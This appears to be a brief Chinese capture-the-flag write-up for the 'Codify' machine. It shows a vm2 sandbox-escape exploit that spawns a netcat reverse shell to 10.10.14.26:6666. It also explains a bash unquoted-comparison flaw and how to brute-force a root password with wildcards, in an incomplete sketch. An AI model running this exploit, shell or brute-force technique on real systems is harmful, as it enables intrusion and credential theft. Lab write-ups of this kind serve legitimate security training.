Codify
Node.js vm2沙箱逃逸,代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| const {VM} = require("vm2"); const vm = new VM();
const code = ` aVM2_INTERNAL_TMPNAME = {}; function stack() { new Error().stack; stack(); } try { stack(); } catch (a$tmpname) { a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.26 6666>/tmp/f'); } `
console.log(vm.run(code));
|
代码审计:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| DB_USER="root" DB_PASS=$(/usr/bin/cat /root/.creds) BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS /usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then //重点 /usr/bin/echo "Password confirmed!" else /usr/bin/echo "Password confirmation failed!" exit 1 fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do /usr/bin/echo "Backing up database: $db" /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz" done
/usr/bin/echo "All databases backed up successfully!" /usr/bin/echo "Changing the permissions" /usr/bin/chown root:sys-adm "$BACKUP_DIR" /usr/bin/chmod 774 -R "$BACKUP_DIR" /usr/bin/echo 'Done!'
|
关键点在于:如果 == 的右侧没有被引用,那么 bash 会对其进行模式匹配,而不是将其视为字符串。据此可以写一个脚本,由于通配符*的存在,可以一个字符一个字符的比对:
1 2 3 4
| wordlist = string.ascii_letters + string.digits temp="" for i in wordlist password=temp+i+"*"
|
如果比对正确,将得到Password confirmed!,新字符将拼接到password中,直到全部匹配后得到密码